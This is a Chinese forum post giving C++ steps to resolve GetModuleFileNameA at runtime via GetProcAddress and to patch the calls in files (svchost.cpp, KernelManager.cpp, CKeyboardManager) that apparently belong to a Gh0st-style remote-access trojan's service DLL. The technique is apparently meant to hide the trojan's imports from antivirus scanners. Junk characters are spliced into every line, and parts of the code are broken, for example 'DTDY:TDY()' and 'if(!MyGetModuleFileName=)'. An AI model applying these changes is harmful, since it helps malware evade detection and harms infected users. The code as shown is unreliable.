返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记* F6 O. p4 r: y0 i; D# s9 ^
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
1 y' Z' |$ K$ g+ s  J+ Y; j# u7 g  R----------------------------------------
  l+ P% y0 A( a0 ^DTDY.h:% c' P$ E  E$ l; X

3 _' l& D  e0 M/ g  Z#if _MSC_VER>1000) F8 N3 B/ H+ E( b7 w6 n
#pragma once! P; [- O1 d% L8 i  V7 e( H7 B
#endif //_MSC_VER>10000 t* b& [# M2 A9 `' {  a
#include<windows.h>
# Y( M# S' e3 x& `: L5 `4 G% s* z! A1 i, c- t6 Q4 \! _
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
% g3 E* N$ f6 g/ r& I; Sclass DTDY
" a$ K9 U4 `5 h+ g" O! G{
& E; k& F$ j2 C4 ?& c  [/ wpublic:
0 c+ P1 Z  ?3 k2 o# e+ o! ^0 x( {DTDY();0 M- J. S; @+ V9 _& l1 [3 D. M
virtual ~DTDY();
- M; K( D2 O; N3 T- x5 A9 Tpublic:3 k4 c( [; I& ^3 r
static pGetModuleFileNameA MyGetModuleFileName;$ v4 C3 T0 n: A. K' W
static BOOL FunInitiallization();& ^6 g9 r+ V" ?3 B
};. w4 K( n" {7 W. [: ?+ d0 T! `4 _
#endif
6 c% f$ q. v# U) Y5 _----------------------------------------, V* c  h9 X3 F3 _  T2 u2 t& b' ~

% d1 e+ r# E1 ~5 SDTDY.cpp:
* l/ _9 I" b/ j/ [) T
: Q9 ]  W* D7 ]8 p- ]#include "DTDY.h"
: O( i4 A) Y9 j8 u, B5 J3 k9 p" l# h* tpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
) K+ f, S* z8 B7 yDTDY:TDY()
( r3 J: g" `! v- y/ |8 n{! @- Y+ `- D: Z, O) Z& e
}4 ^$ h# T8 u7 m1 J! M
DTDY::~DTDY()
3 C) |5 ?4 h) w7 z' w# n{
9 |5 ?5 a- X4 D6 P0 H5 E}2 Y; y6 w* b' {  ?" H
BOOL DTDY::FunInitiallization()
! C5 \0 {* B7 w5 O  V7 v{7 D5 Q7 G+ A6 E7 S$ `0 @7 n  o- \
HMODULE hModule=LoadLibrary("kernel32.dll");
% Q( Z2 R& s* b5 {MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
! B0 |8 c4 m+ s9 ?, _. qif(!MyGetModuleFileName=) return FALSE;& K( l) l9 f" K  c! F
: y1 c" R+ h  ]$ }# p! j8 l
return TRUE;
$ o7 g& n' y8 q8 @. x}) A: j! i' _# ^
----------------------------------------7 j# @- q0 l# V* A
svchost.cpp:1 @' u" B- k, Q8 a
2 A+ Y- z+ G* Y3 N
#include "DTDY.h"
: u; B+ f; C7 q) ^( i# s( |+ w3 d- `: W9 x7 u
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)6 }3 t$ N9 Q8 W+ c9 p* Z- H- s
{
! d& V; ^! j& e# bswitch(ul_reason_for_call)
8 V2 j. g% r3 p1 l{5 B1 B5 C( |! g: d1 m
case DLL_PROCESS_ATTACH:( W2 v- K' N+ e! F$ D- j
if(!DTDY::FunInitiallization()) return FALSE;0 S. R' b  S$ z/ E3 C, v- v
1 X) e' v8 p) R3 T0 o5 Z
break;
3 j" O8 R/ D7 Y) D}; r& N. n. A! G2 h5 ]: r: R
}
. w% I0 \" U. p+ P4 C4 h, ?
* A8 |% W+ P) k% _- t9 }4 y. J/ J! q, `5 n/ ^& {! f4 i
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
' U! j. ^$ C4 w7 W9 N+ d: u- v改写为& ]& W' V! G% H1 m# G! d, |: w
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
7 T. i! S: ?  p$ g! l( I1 V, m----------------------------------------
. `3 h9 t  T! v$ S: p# y  ]# [+ ]KernelManager.cpp:9 ?/ B8 t$ {9 D2 c: ^

) j2 k5 t% f  R#include "../DTDY.h"
3 J3 ]. T- M3 `, n5 X  QGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));) s$ S" R8 o( t5 a
改写为
6 G1 `7 T& c0 a3 N. wDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));5 m! h& M& J2 n* o9 F, q
----------------------------------------

返回列表